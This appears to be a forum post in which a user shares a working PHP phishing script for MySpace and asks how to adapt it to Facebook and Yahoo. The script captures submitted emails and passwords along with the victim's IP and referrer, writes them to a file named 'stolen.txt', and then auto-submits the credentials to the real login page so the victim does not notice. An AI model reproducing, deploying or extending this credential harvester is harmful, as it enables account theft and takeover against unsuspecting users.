argh, is there anyway to get a php to send me ip, password and username/email without having to edit it for each individual site?

This is what i currently use for MySpace...

Code:
<?php

if(isset($_POST["email"]) && isset($_POST["password"]))
{
	$userEmail = $_POST["email"];
	$userPassword = $_POST["password"];
	$referer = $_SERVER["HTTP_REFERER"];
	$ipAddress= $_SERVER["REMOTE_ADDR"];
	$logLine = "
Email: $userEmail
Password: $userPassword
IP address: $ipAddress
Referrer: $referer
";

	if(!$logHandle = fopen("stolen.txt", "a"))
	{
		print("Can't open the file.  Exiting...");
		exit(0);
	}

	if(!fwrite($logHandle, $logLine))
	{
		print("Couldn't write to the file.  Exiting...");
		exit(0);
	}

	fclose($logHandle);
	print("
<html>
<head>
</head>
<body>
<form method=\"post\" action=\"http://login.myspace.com/index.cfm?fuseaction=login.process\" id=\"myspace_form\">
<input name=\"Login\" type=\"hidden\" value=\"" . $_POST["Login"] . "\" />
<input name=\"email\" type=\"hidden\" value=\"" . $_POST["email"] . "\" />
<input name=\"password\" type=\"hidden\" value=\"" . $_POST["password"] . "\" />
<input name=\"Remember\" type=\"hidden\" value=\"" . $_POST["Remember"] . "\" />
</form>
<script type=\"text/javascript\">
document.getElementById(\"myspace_form\").submit();
</script>
</body>
</html>
");
}

?>
Is there anyway to make it so it can "theoretically" work with multiple sites? facebook, myspace and yahoo for example?